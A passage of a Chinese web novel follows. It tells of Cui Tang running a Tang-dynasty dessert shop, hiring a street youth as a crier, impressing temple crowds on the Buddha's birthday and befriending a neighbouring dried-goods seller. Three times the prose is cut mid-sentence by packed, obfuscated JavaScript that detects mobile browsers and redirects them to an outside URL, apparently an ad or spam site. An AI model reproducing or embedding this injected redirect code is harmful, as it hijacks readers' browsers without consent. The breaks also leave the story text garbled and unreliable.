因都是自己人,穆云早洗去了白日里那蜡黄黝黑的膏药,此刻月光在他锋利的眉骨下投下阴影,更显得肤白似雪。少年执勺的手势带着一分优雅,月色下琥珀色冰粉在勺尖轻颤,竟把这普通冰粉衬托得流光溢彩不似凡品。崔棠看着内心感慨,长得这么好看不如把他放到店门口去当活招牌,不知这唐朝小娘子有没有追小鲜肉的爱好。 穆云并不知崔棠此刻想把他卖了数钱,方才入口一股甘甜的冰凉袭来,带着冰粉和枇杷果香的微酸并不甜腻,饶是他一个不喜甜食的人,也忍不住三两勺吃完了一碗。他回味着口齿尖的桂花香,一句“好吃”脱口就变成了变扭的“尚可”。 崔棠倒也不恼,对待这别扭青春期少年,不能听他说什么,而要看他做什么。她挑眉轻笑道:“某些人都碗底空空了,还‘尚可’呢!” 崔棠碗里的冰粉加了山楂碎,她喜甜更喜酸,一口下去眼睛都眯起来。 贺梅娘细细品着原味冰粉,她迟疑问道:“这冰粉是不是也得取个好听的名字?” “我觉得冰粉不用改,倒是不同的口味可以取些雅致的名字。”崔棠咬着勺子冥思苦想,“桂花就叫桂花落,枇杷可以是一树金,不,叫琥珀光!” “你这不像是菜名,倒像是猜灯谜了。”穆云嫌弃道。 “猜灯谜?”崔棠抚掌,“好主意!待上元节我们就来个猜灯谜赠饮好了,就不信那些酸书生不来。” 穆云忍不住抚额,余光看见崔棠大谈特谈她的’赚钱大计‘,生机勃勃,神采飞扬。他忽然别过脸去,喉间那句“俗不可耐”卡在舌尖,竟觉得那双圆溜溜的大眼亮闪得晃眼。 暮色悄然爬上墙头,天井里“嚓嚓”刻竹声,混着远处更夫的梆子声,扰得崔棠没了睡意。 她举着湿帕子凑近时,正瞧见穆云抿紧的唇线。少年睫毛在眼下投出细密阴影,素日凌厉的眉峰此刻凝着十二分专注。 “再往左些...…”崔棠看那竹板歪了忍不住伸手扶正,指尖无意擦过少年手背。 穆云刻刀一抖,在“记”字横折处多刻出一道浅痕。碎竹屑沾在少女鼻尖,随呼吸轻轻起伏。 “穆二郎这手艺——”她故意拉长语调,指尖戳了戳竹板,“怕不是用这招哄过长安城里的小娘子?” “喀!” 穆云捻着崩飞的竹屑冷笑:“别的小娘子哪有这福气,某刻过最金贵的,也就是崔小娘子的俗气招牌了。” 月色漫过刻好的招牌,耳边飘来崔棠不知为何又开心的大笑,穆云望着自己映在“棠”字上的轮廓有些怔忡:自己竟然甘心在这刻竹子,倒是许久没有想起那些长安的糟心事了。 14. 开业大吉 烈日当空,德化街热浪蒸腾。 一个十七八岁的短褐少年蹲在树荫下,他身形瘦小,面庞瘦削,晒成麦色的皮肤透出几分稚气。头上未戴幞头,只随意地用一根布带扎在脑后。手里捧着个竹筒,里头不知是何物像冰块似的晶莹闪烁,隐约点缀着些许褐色糖浆。 他顾不得擦拭脸上的汗水,迫不及待地用舀起一勺放入口中,脸上瞬间露出了满足的神情。 “兄台这吃食倒新鲜?”一个青衫书生驻足,一身襕袍汗津津的。 粗陶勺刮着筒底发出“刺啦”声响,少年仰头灌尽最后一口糖水,这才意犹未尽地道:“这叫冰粉,入口冰冰凉凉的可解暑呢!”他抹了把下巴上的糖水,露出一颗虎牙笑道,“前头棠记新开张,今日试吃试饮不要钱呢!” “再不去排队,连竹筒都要叫人顺走喽!”少年急匆匆地撂下这句话,便把书生晾在一旁,自己拔腿朝着前头快步奔去。 书生抬眼只见前头一片热闹喧嚣,乌压压的人群好似一锅煮沸的热汤,他心中不免好奇也抬脚向前走去。 没想到铺子前丁点大的地方,竟挤了二三十人。 “哎哟我的鞋!”书生走上前想看看究竟却被踩掉了鞋跟。前头老丈拄着枣木拐骂骂咧咧:“兔崽子挤甚!没见老夫端着碗呢!” 抬头看去,精巧的竹制牌匾悬在门头,上面刻着“棠记甜铺”四个大字。三列矮竹筒整齐地摆在门口的长条竹案上,琥珀般透明的冻子,颤颤悠悠的,上面还盖着或黄或红的码子。 再往铺子里瞧,柜台上方挂着花花绿绿的饮子牌,倒是看不清上头的字。另一侧许是散座区,几张竹丝方桌配胡床,邻桌之间用细竹巧妙地隔断,衬得窗明几净,不似寻常市井铺子,竟透出几分雅致来。 有个脆生生的声音喊着:“冰粉试吃不要钱嘞——”一个十二三岁的少女正踩着竹凳探头,圆腮杏眸,两根茜色发带格外扎眼。 她看着年纪虽小,动作却很麻利,用木勺舀起蔗浆浇在冰粉上,笑眼弯弯地递给前头的大娘:“阿婶拿稳咯!” 柜台里梳堕马髻的妇人正给戴帷帽的小娘子比划:“琥珀光加了枇杷甜而不腻,红绡露添了山楂碎酸甜开胃,若是喜欢清淡不妨试试桂花落......” 里间帘子“唰”地被撩开,精壮汉子扛着个大桶出来,放到圆脸小娘子跟前:“棠儿,新兑的蔗浆给你放着了啊!” “多谢阿耶,这冰粉也得再来一桶。”少女甜甜地应声。 最惹眼的还是门口舀试喝饮子的少年,黑黄肤色遮不住的剑眉星目,却板着张棺材脸,也忒不讨喜了。 “这不是那日南大街上分糖丸的丫头?”一个面若银盘的妇人挤得银簪歪斜,“我家幺儿吃了那糖丸还跟我要,让我去哪里给他找哟!今儿可算是开门了!” 一旁容长脸的妇人撇着嘴探头:“说是冰粉,怎不见冰......” “真用冰您吃得起?”先前那短褐少年举着空竹筒插话,“这冰粉用井水湃得透心凉,比吞雪团子还爽利!”他夸张地打了个寒战,惹得人群哄笑。 崔棠手里的木勺停在半空,她疑惑道:“这位郎君好生面善……” 话音未落,穆云已拎起那人后领。 “盛过四碗了。”穆云剑眉直竖,“当某不识数?” 人群突然炸开嗤笑:“这不是街尾陈家那个老大,又来混吃食!” “是他!父母早没了,家里还有个妹子,整日里也没个正经营生。” 崔棠看着那人一身粗麻短衫洗得泛白,袖口磨出毛边却不见污渍,赤脚趿着草鞋,脚踝沾了泥,偏生眼神清亮如溪。她虽然不会看面相,但直觉这人不坏。 忽然心中一动:她身为女子不便上街招揽客人,但有人可以呀! 她忙上前把两人拉开,示意穆云帮忙看顾冰粉摊,随后将那少年拉到一旁,轻声道:“借一步说话?” 柜台后,崔棠轻轻晃动着紫云饮,将其递给少年:“郎君好口才,方才好几人都是你引来的吧?我这有个活计,不知你愿不愿意做?” 少年不好意思地露出虎牙笑了:“叫我陈大虎就好,小娘子是要雇我当托儿?” 崔棠笑道:“倒也不能说托儿,是想雇你帮忙招揽客人。” 陈大虎一听,心中不禁一喜,没想到自己蹭吃蹭喝还蹭出工作来了。自从赌鬼老爹走了以后,这县里的人都叫他小赌鬼,也就没人敢雇他做工了。想到家里的妹子,他斟酌着道:“不知这工钱怎么算?管不管饭?” 崔棠又道:“日结五文管两顿饭,就负责把外头客人引过来,忙的时候需要在店里帮把手。”看他神色着急又补充道:“不算门口那凉茶摊,凡进店客人,不拘花了多少,一桌算你一文。” 倒不是崔棠大方,根据她以前的经验,做地推营销必须得舍得花钱。能进店消费的,最便宜的紫云饮也要五文钱一杯,这获客成本也不算太高。 陈大虎脑筋转得灵活,立时就答应下来。若是每日有二十个人进店,岂不是有二十五文!他没什么技艺,就一张嘴厉害些,那醉仙楼的跑堂伙计一月也不过两三百文。 “成!我这就去慈恩寺拉香客!”他转身就要往外头去。 崔棠听了忙喊住他:“慈恩寺先不急,这两日就在外头街上宣传就成,”又从柜台后递给他一个围裙,“把这个带上再去。” 食品生意,最要紧的就是让顾客觉得干净,也是强化品牌形象的一部分。 今日崔家三口都穿上了贺梅娘新做的靛蓝麻围裙,胸口上面用白线绣了个甜字。就穆云坚决不穿,崔棠也随他去了,因而正好多了一条。刚开业也没钱定制工服,只能买匹不值钱的粗布来做围裙。好在围裙本就需要耐磨,粗糙些也无妨。 午时刚过,崔棠把最后一勺冰粉盛进竹筒,对着外头的人道:“对不住各位,冰粉没了!小店还有其他解暑饮子甜品,欢迎进店品尝——”她一顿又道:“明日有水晶冻试吃,各位请早!” 刚来的戴帷帽小娘子没赶上冰粉,娇嗔跺脚地提起裙子就进店:“把你们招牌给我上一份!” 挑担货郎倒是乐呵呵地喝着筒蔗浆凉茶:“这蔗浆滋味也很好!不像别家那样喇嗓子。” 余下众人略显失望,但本就是免费吃的,也没什么话说。又到了午食的点,便慢慢各自散去了。 崔家今日因贺梅娘忙着招待顾客,午食只简单做了绿豆粥配腌芥菜。饶是这样,陈大虎依然吃得香喷喷,乐得贺梅娘又给他加了个蒸饼。 吃完午食,陈大虎自告奋勇在外头看铺子,崔棠倒是乐得轻松,收拾完东西捧着杯酸梅汤正要溜,一只胳膊“唰”地横在竹帘前,抬头只见穆云紧绷的下颌线。 “恭喜崔小娘子新了个伙计。”穆云冷笑道:“陈大虎那嘴倒是伶牙俐齿!” “酸什么?人家是伙计——”崔棠一听就知道他意有所指,“您可是咱甜铺的定海神针呐!” “谁酸了……”穆云听了这话,神色倒是缓和不少。 崔棠踮脚伸出两根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139258|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指戳他眉间:“别皱眉了,”她安慰道:“大不了我也给你发工钱。” “谁要你的工钱!”穆云忽地又板起脸来,大步离开。 “唉,少年心海底针……”崔棠叹气。 没有免费吃的冰粉以后,下午客人果然少了许多,铺子瞬间显得空荡荡的。堂食的客人就三五桌,门口走量卖的蔗浆和金银花倒是一筒筒卖得飞快。 陈大虎对此颇有些惭愧。 毕竟是开业第一天,崔棠已经很满意了,她安慰陈大虎:“靠吃白食引来的客人只是一时的,得留得住客人才是正理。只有尝过了觉得味道好,才会再来买。” “反正我觉得东家娘子做的吃食,比外头都好。”陈大虎憨憨地笑。 “溜须拍马……”崔棠听见身后传来嘀咕,不用看也知道是谁,抬头果然是穆云大步流星地往外走去。 “哎——”崔棠喊他,“你去哪儿啊?” “左右现在闲得很,我出去逛逛,记得让贺姨给我留饭!” “少不了你的!”崔棠扬声道。 怎么一个两个都惦记着阿娘做的饭,崔棠吃惯了倒真不觉得有什么特别。她继续埋下头去算账,一边支着耳朵听着铺子里的动静。 “佛诞日你穿什么衣裳?”声音来自窗边那桌穿石榴红襦裙的小娘子。 “穿什么有甚要紧?不过备了条象牙白的裙子配竹青色广袖衫。”一个背影看着珠圆玉润的小娘子漫不经心地道,“倒是要早些去抢位子,不然那斋饭就没了。” “斋饭不是日日都有吗?” “哎呀你刚来安吉不知道,这佛诞日那些饭馆食肆最忙了,都做了自家最拿手的素斋去献佛。佛前供一轮,再分发给香客。平日里可吃不到呢!” …… 崔棠听前头的佛诞还没什么,听到后面眼睛一亮,悄声问陈大虎:“佛诞日供佛的吃食只能做素斋吗?饮子或者甜品行不行?” 陈大虎是本地人士,又长混迹在街头巷尾,对这不要钱的斋饭最是熟悉了:“应当可以,往年也有茶铺进些药茶,点心铺子供过莲花糕一类的。” 崔棠心生一计,佛诞日可是扬名的大好机会! 那边厢,穆云说是出门转转,其实并未走远。他绕到铺子后门对面的一条巷子,闪身进了户不起眼的民居。 “少主!”里头等着的男子正是那暗卫苍术。 “何事?”穆云沉声问。 苍术有些迟疑地掏出封信,递给穆云,斟酌着用词:“家主传信,请您南下,若是,若是——” 穆云截断他话头:“若是不去就打断我的腿是吧?”说着拆开信来看,只见上头写着: 臭小子,下个月见不到你,就休想从钱庄取一分钱! 穆云愣了一瞬,问道:“现在我们手里还有多少余钱?” 苍术苦笑:“从长安出来得匆忙,只带了30两银,一路上花了些,照您吩咐租了这院子一年,还剩十两。” 他还没说,自己和兄弟们的月例也断了,最近都开始去做工换米粮了。当然,他们把这称作埋伏打探消息。 穆云徐徐开口:“这样,菖蒲几个先去明州,你留下等消息。” 苍术应声,转身便去安排。为什么吃苦的总是他…… 穆云负手望天。 十两银即是十贯钱,换做以前他还真不放在眼里。也是近来才知道,这已经够普通人家生活很久了。 他突然有些后悔,早前怎么就拒绝崔棠给的工钱了。 15. 佛诞功德 “阿娘快看!“ 崔棠把铜钱哗啦啦倒在案上,眼睛亮得跟星星似的,“今儿足足挣了两百三十七文!上午不算,光是下午就卖了——”她掰着手指头数,“二十一筒蔗浆、六筒酸梅饮、八盏紫云饮、八碗冰粉!” 崔棠心里美滋滋,这样下去不过三五日就能把房租挣出来了。 贺梅娘擦着柜台直起身:“冰粉虽然赚头大,可我看不少人都挤着买一文钱的蔗浆。咱家蔗浆熬得纯,金银花水还加了崖蜜,卖这个价是不是亏了?” “这才叫会做生意呢!”崔棠抓起竹筒比划,“东街刘二说他扛货时全靠咱家蔗浆续命,那刘货郎都管咱叫‘活菩萨’!”她笑嘻嘻凑近,“这一传十十传百,还怕没人来?” 这量贩的饮子,不贵但聚人气,就跟现代那些九块九引流的团购券是一个道理。新店开张嘛,有人来才能带来源源不断的生意。 “倒也是,左右不费什么料。”贺梅娘被逗笑了,突然想起什么,“你阿耶最近来回折腾辛苦了点,等官道那活计完了......” “正要说这个哩!”崔棠麻利地串着铜钱,“我想让阿耶搬来县里住。就是咱家那田......” “不如找你王叔?”贺梅娘一拍大腿,“他侍弄庄稼可是一把好手,那甜瓜又甜又大!若是每月贴他一两百文,应该能行。” 崔棠闻言也觉得有理,过几日王叔和周婶约好来送瓜,正好与他们商议一下。 “贺姨——”穆云像阵风似的卷进铺子,肚子配合地“咕噜”响了一声,“给我留晚食了吗?” 贺梅娘忍不住伸出手戳他脑门:“知道饿还不早些回来?就等你回来一起吃呢、刚蒸好的槐花粟米饭,给你留了两大碗呢!”瞥见少年蹿高的个头,她暗想明天得再往糙米里多掺把豆子。这个年纪的孩子,是吃再多也不够的。 崔棠从记账的粗纸里抬头,算筹在指尖转了个圈:“穆小郎君现在胆儿肥了啊,大半天不见人影,莫不是彻底安全了?”说着敲了敲桌角,“说起来,你打算在我家蹭饭到几时呀?” 穆云正抓着水瓢猛灌,闻言呛得直咳嗽:“崔小娘子这是要赶人?”他抹了把嘴,耳朵尖微微发红,“这救命之恩无以为报,只能给你多打几日白工了。” “说正经的,”崔棠托腮打量他刚洗去美黑膏那瓷白的俊脸,“你既有武功又有才学,为何不去科举做官,窝在我们这小铺子里岂不是太委屈你了?” 回头看到崔棠那大而清澈的眸子里的关心,穆云有一瞬间想说出真相:“其实我……” “小祖宗们,吃饭啦——”里屋忽地传来贺梅娘哐当摆碗的声音,打断了二人的对话。 “哎——来了来了!”崔棠忙搁下算筹快步向里走去。 晚饭依旧是摆在天井里的,这天愈发热了,也就井台边时不时漏点凉风。 贺梅娘摇着蒲扇把最后一道菜端上矮桌。 穆云筷子悬在半空,盯着那碗雪堆似的东西挑眉:“这……莫不是酥山?” “哟,穆小郎君果真是见过世面的人啊!”崔棠故意把瓷盘往他跟前推,眼睛笑得弯成月牙:“上回梨姐姐来信,说杭州酥山要价半贯钱,吓得她差点没把银簪子押给店家。可惜咱家没有冰也没有羊乳,您凑合尝尝?” 酥山是贵族圈子里近来最受追捧的美食了,其实类似于后世的绵绵冰或者刨冰,用冰块打底再将酥油或奶油加热融化淋在冰上,造出山势,也可以添些花草、果子或豆沙。 穆云舀了勺仔细品味,只觉入口滑嫩,凉而不冰,加上蔗浆和红豆的甜味,比凉粉更多一丝米香。 崔棠轻笑道:“猜不出来了吧?这是粟米做的呢!先将粟米浆凝成冻子,再将其凿碎,覆蔗糖霜和红豆制成的。”堪称平民版酥山。 “贺姨果真厨艺过人!”穆云朝着贺梅娘夸赞道。 “这你可夸错人了,这回是棠棠的主意呢!”贺梅娘笑着递给穆云盛好的饭,“这丫头鬼点子多着呢!我也就是给她打打下手。” 崔棠突然伸手在穆云眼前晃了晃:“喂!别光顾着吃啊!不评价一下吗?”露出一副笑眯眯一脸等待夸奖的表情。 穆云绷着脸道:“不错……,”看崔棠皱眉又从嘴里挤出几个字,“是挺巧妙的。” —————— “赛酥山来一份!” 柜台前的妇人拍着铜钱嚷嚷。崔棠躲在门帘后偷看,乐得笑出了声——她给这米浆冻取名“赛酥山”,颇有些碰瓷的嫌疑,但效果比她想的还好。 陈大虎正唾沫横飞跟外头排队试吃的客人吹牛:“您瞅这滑嫩雪白的劲儿,菩萨见了都要还俗!要是不耐烦排队,里头可以坐下慢慢吃。” 这个时代的人们嗜甜,这“赛酥山”又是红豆又是蔗糖霜,许多人试吃完直接买了打包带走,三十文一盘眼睛都不眨一下。 院子里,崔棠躺在崔弘新做的躺椅上,揪着枇杷叶子犯愁。她这冰粉和米冻顶多算消暑零嘴,跟那些酒楼供的斋饭比可差远了。正想着,脑后突然一松—— “穆!云!”她捂着散开的发带转身,能做出这种幼稚的举动,除了他也没别人了。 果然见那小子啃着枇杷笑出声来:“愁眉苦脸当门神呢?在想佛诞日是不是?要我说,往米浆冻上刻个‘卍’字不就行了。” “去你的!当是烙饼呢?”崔棠不屑道。 穆云晃着枇杷核得意道:“佛经里不总说‘醍醐灌顶’?你把蔗浆浇在……” 崔棠听了这话陷入沉思,突然她望着远处慈恩寺的塔尖灵光一闪:不如做这个! 佛诞日,慈恩寺前。 崔棠攥着食盒躲在银杏树下,眼见着自家雇的伶俐小子正麻溜揽客。 陈大虎举着竹筒蹿到香客堆里,晒成麦色的脸笑得见牙不见眼:“这位娘子尝尝!金银花水清火,蔗浆薄荷水醒神!”顺手塞了块鸡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158031|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛋大的“赛酥山”,白生生的米冻在他掌心的箬叶上直颤悠,“要是觉着好可以来店里品尝,小店就在那边的德化街。” “大师留步。”崔棠快步拦下巡值的慧明,食盒盖子掀开条缝,里头串好的铜钱一闪而过,“这是鄙店供奉佛前的饮子,特地留了一份给您尝尝。” 慧明垂着眼皮捻佛珠,示意一旁的小沙弥接下,又念了声佛号:“阿弥陀佛,小施主诚心,佛祖定会明白的。” 崔棠虽然觉得这慧明一点没有得道高僧的样子,但为了避免幺蛾子她还是只能提前打点。今日这一战只许成功不许失败。 巳时,大雄宝殿前。 “醉仙楼献玉版斋!” “松鹤楼献罗汉面!” …… “棠记甜铺献八宝功德饮——” “棠记?新开的?”人群中有人窃窃私语。 挎竹篮的小娘子扯同伴袖子:“就前日施免费冰粉那家!”说着舔了舔嘴唇,“那浇了桑葚酱的冰粉真真美味!” “我倒是觉得那赛酥山滋味更足,甜津津、凉丝丝的……” 崔棠紧紧攥着披帛,忽听人群“嗡”地炸开——两个沙弥抬着琉璃塔似的吃食缓步而来,阳光透过殿前蟠龙柱,正照在那颤巍巍的八层冻糕上。 最底下绛紫,往上依次是朱砂、杏红、杏黄、竹青、靛青、墨色、月白……每层冻糕里还有挖空的一颗颗圆球盛着各色饮子,顶上一颗豆沙裹的山楂球,画龙点睛。 “这劳什子功德饮,怕不是妖精变的?”醉仙楼掌柜酸溜溜冒了句。 崔棠气得藕荷色披帛都被她揪出三道褶子,忽然袖口一沉,穆云骨节分明的手轻轻扯了扯披帛,他缓缓念道:“八宝凝佛光,功德落此乡——”他故意拖长调子,鸦羽般的睫毛在眼下投出小片阴影,“有缘之人,自能品出真佛滋味。” 穆云的声音清冽悠远,香炉青烟袅袅,方才喧阗的人群一下子安静下来。 崔棠嘴角微翘,这可是她跟阿娘折腾了三个通宵的杰作!粟米浆打底做成八层浮屠塔,将粟米浆与不同食材调和凝结成不同色彩的冻子,再层层码起,最后往每一层掏空的洞中中注入不同饮子,便是这八宝功德饮了。被穆云一说,跟佛祖亲赐似的。 分八宝功德饮时小娘子老妇人都举着碗往前挤,住持大师都多吃了两盏,今日“棠记”这两个字在香客心里应该是烙下深深的印记了。 回铺子的路上,崔棠背着手倒退着往后走:“没成想咱们穆小郎君还会作打油诗呢!今儿可多亏了你的诗,一下子就震住他们了。”看来以后她也得多学学这种故弄玄虚路线。 穆云脸庞映着晚霞倒比往日里看着柔和,他说的话虽依旧气人,却带着丝宠溺的语气:“总比某个把粟米浆煮糊三次的小娘子强。” 崔棠今日心情颇好,也不与他争执。两人倒是难得这么安静地走在路上,暮色里,斜阳把两人影子拉得老长。 16. 自有妙计 蝉鸣聒噪,棠记门前竹帘都被日头晒得卷了边。 崔棠虽然站在柜台里阴凉处,仍然热得鬓角的碎发都粘在脸上,黏腻得紧。 有了佛诞日的惊艳亮相,棠记甜铺算是在安吉县小范围打响了名头。哪怕这几日已经没有免费试饮活动,人流依旧源源不断。 一位小娘子走到柜台前,脸被热得红扑扑的,她小声问道:“店家,那八宝功德饮可有……” 崔棠无奈笑了,这已是今日第八个来问功德饮的客人了,她笑着解释道:“实在抱歉,那功德饮供过菩萨,平日里小店不卖呢!但每月小店都有新花样,”她笑盈盈递过试饮的箬叶杯,“小娘子不如尝尝这个?” 八宝功德饮其实也并无特殊,就是好看,但做一次实在太费功夫,平日里是断不能卖的。 那腼腆的小娘子抿了一口似乎觉得滋味还不错,又犹豫着开口:“家祖母近日苦夏,自佛诞那日尝了贵店的功德饮一直念念不忘,不知是否有适合老人家的饮子?” “小店有两种饮子适合老人家,一种是薄荷金银花甘菊饮,夏季燥热、咽喉不适用最好;一种是绿豆甘草汤,温和护胃,可以缓解暑热。”崔棠娓娓道来,“咱们家的饮子还加了特制的蔗浆,一点不苦呢!” “多谢,那请帮我打一筒绿豆甘草汤,”腼腆小娘子又迟疑道,“方才这个……也来一份吧!” “好嘞!”崔棠笑着往后头喊,“绿豆甘草汤一份,红糖冰粉琥珀光一份——”她又抓起一旁一个箬叶包递过去,“承蒙惠顾,一共三十文,这是送您的糖霜山楂球。” 那小娘子立时抿嘴笑了,露出腮边两个梨涡。 生意红火了以后崔棠才意识到,现代那些奶茶店里熟练的接待话术有多重要。短短时间内,既要让客人快速决策,又要不动声色地推销近日主推的产品,并不件容易事。 另外,对于那些犹豫不决的客人,不尽快点单真的很影响后面等待的顾客——没错,古代人也有选择恐惧症。 这时候一般来说可以给他一个选择题,比如“客官要冰粉还是赛酥山”。如果还是选不出来就再加一句,“这两日新客都爱点赛酥山哦”,这时候一般客人就会下单了。 当然也有这样都选不出来的人,那就需要根据口味推荐了。对此,崔棠干脆央穆云刻了个竹牌,上头写刻个今日特供,再挂不同的饮子牌在上头,隔几日轮着来。 “发什么呆?” 崔棠伸出手指,戳了戳一旁百无聊赖的穆云,挑眉道:“快把今日特供的牌子挂上,王小娘子带着姐妹来了!”她边说边往门外瞄,四五个衣着光鲜的少女正在对街挑绢花。 “王小娘子是谁?”穆云不紧不慢地翻着竹牌。 “就是绸缎庄王掌柜家的小娘子,那里头白白胖胖很有福气的那个。” “哦,”穆云不甚在意,他拎起新刻的饮子牌:“挂哪个?” “笨!”崔棠无奈道:“她都来了三回了,你还没记住,她哪回不是看半天都决定不了,最后选个最甜的,你就挂‘红豆赛酥山’。” 果不其然,王小娘子看到今日推荐眼睛一亮,比往日都果断了几分。 农历七月正是立秋时节,江南暑气未退,毕竟秋老虎的威力不容小觑。 正午时分铺子里没人,崔棠把陈大虎赶回家去照看他妹妹了,她正支着脑袋斜靠着柜台眯眼,忽然脚边“咕噜噜”滚过来一个甜瓜。 “棠娘快接着!”王仁挑着扁担吱呀歪斜着撞进铺子,原来方才那瓜是从筐里掉出来的。 崔棠忙不迭捡起地上的瓜迎上去,笑道:“正在等阿叔送瓜来呢,可巧这就到了!阿婶也来啦?” 周惠娘汗湿的碎发黏在额角,扬声道:“今早现摘的甜瓜两筐、蜜桃一筐,还有莼菜、茭白,给你们添个时鲜。” “阿叔阿婶快坐下歇歇,”崔棠忙上前接过,又朝里头喊,“阿娘,周婶来啦——” 话音未落,贺梅娘攥着襻膊从后厨钻出来,双手还在围裙上蹭了蹭。 “这毒日头也敢出门!热坏了你俩岂不是我的罪过。”贺梅娘假意拍打周惠娘肩头浮尘,实则往她手里塞了被井水镇过的乌梅饮。 “这不是怕影响你们做生意嘛!再说我还惦记着你这乌梅饮呢!”周惠娘笑着打趣。她打量着对方新裁的粗布裙子,指尖无意识摩挲着自己洗得发白的葛布衣角,感慨道:“城里水土当真养人,棠娘这小脸白嫩得像新剥的鸡头米。” “甜瓜三文一斤,蜜桃两文,莼菜……”崔棠扒拉着算筹打算先把钱结了。 周惠娘听了急得直摆手:“菜蔬要什么钱!那本就是自家种的,怕你们在城里没什么新鲜的吃,这就见外了啊!” 崔棠只得作罢,有时候适当接受一下旁人的好意也是加深感情的一种方式,大不了一会儿装些吃食让他们带走。 那边王仁蹲在门槛上啃甜瓜,跟贺梅娘比划着瓜田:“寒露收了这茬,种油菜最相宜,到时候给你们家地里也种些!” “说到这个,正要跟仁弟商量——”贺梅娘想起之前一家人商量的事情,就把代管田地的事细细说了。 “嗨呀!”王仁蒲扇大的巴掌拍得门槛直颤:“包在我身上!”他嗓门大得能震落房梁。 周惠娘对他翻了个白眼:“梅娘家的事,我们当自家田伺候!”说罢又瞪丈夫:“可不敢学东头崔林那起子黑心肝!” 不过坐了一会儿,周惠娘就催着王仁要走,她歉意道:“囡囡还放在她阿翁家,晚了怕是要闹……” 崔棠抱着荷叶包从里间出来:“阿婶下次带囡囡来玩吧!这个米糕你带回去,她一准爱吃!”她把荷叶包和两竹筒饮子往周惠娘手里塞。 “梅娘手巧,棠娘也好巧思,这铺子你们娘俩打理得真好!”周惠娘倒也爽快地收下,临走时不忘揪着王仁耳朵提醒:“可仔细着别喝多了误事!” 崔棠母女送客时,不小心撞得隔壁陈记干货铺门口晒杏干的竹匾晃了晃。 一个穿竹节纹粗布襦裙的胖妇人立刻攥着秃毛扫帚扑过来,肉乎乎的手腕上五六个绞丝银镯叮当作响:“作死哟!烂菜帮子都飞我家门前了!”她身后瘦竹竿似的男人抱着枸杞筐帮腔。 崔棠瞥见那妇人眼珠子粘在自家“今日特供”竹牌上,忽然福至心灵——原是眼红这几日排队买饮子的人潮,也是她疏忽了,竟忘了跟邻居打好关系。 她转身从柜台内捧出白瓷盘,笑出两个梨涡:“婶子尝尝这赛酥山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169774|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?若是撒上您家杏脯……”说着故意递到她面前,米浆甜香混着井水凉气直扑人脸。 贺梅娘也很有默契地抓起铺子前晒着的一把核桃大赞:“这核桃好,颗颗饱满。若是拿来磨成饮子,秋日里润肺养颜哩!” 伸手不打笑脸人,那陈娘子见此态度也软和下来。接过来时还有些板着脸,谁知瓷勺刚沾唇就瞪圆了眯缝眼,三口两口把赛酥山刮得见了底,最后竟举着勺子边沿舔了一圈,意犹未尽地道:“这滋味果真不错!怪不得县尊都差仆役来买。” “婶子若是愿意,只管来尝鲜。”崔棠抿嘴笑道。那县尊知道她家小店,一准是秦娘子的功劳,暗暗记下下回再给秦娘子送些新出的吃食去。 陈娘子蒲扇大的巴掌“啪”地拍在她夫婿背上:“愣着作甚?还不把新烘的南瓜子取来!” “婶子不急,跟您谈个生意,”她抓起把干果对着日头照,知道自家阿娘是真心觉得这家干果好,“您家这杏仁、核桃、红枣品相都上佳,若是以后棠记所用干货,只要合适的都在您家采买,饮子单子上都给标注‘陈记特供’,如何?” “那感情好!这隔壁邻居送个货多便利。”胖妇人没想到吵架没吵成,倒来了个大主顾。 贺梅娘怕崔棠粗枝大叶,忙补了句:“不过这品质可是每回都要验过的——” “不是我自夸,这安吉县我家干货做的最好,绝不像别家那样以次充好混着卖,尽管验。”陈娘子截断她话头忙道,说完假装踹了脚在一旁发愣的夫婿,“还不快去盘货。” 回头见崔棠母女似乎被她豪迈的举动吓到,不好意思地笑道:“我家老沈就爱装鹌鹑!” 崔棠咂舌,赘婿这个职业果真不是人人可以驾驭的。 最终两家铺子达成共识,棠记每月向陈记采购干货,陈记以八五折价供货,也算是合作共赢了。有了这个前车之鉴,崔棠也忙送了些饮子去周围一些店铺,用不用得上的不论,先打好关系再说。 暮鼓响起,崔棠本打算打烊了,店前竹帘忽被柄泥金折扇挑起。来人穿着圆领锦袍,蹀躞带上悬着鎏金鱼符,三十上下年纪留着八字胡。他缓缓进门坐下,屈指在竹丝方桌上敲得笃笃响:“这几个,每样都来一例。” 崔棠见他每样甜品都只尝一口,饮子也只喝一两口。她绞着石榴裙暗忖:莫不是专门来挑刺的? “小娘子莫慌,”那人突然用竹签挑个糖霜山楂球,眼角带笑,“味道确实不错。”说罢丢下足半贯钱,就起身准备离开。 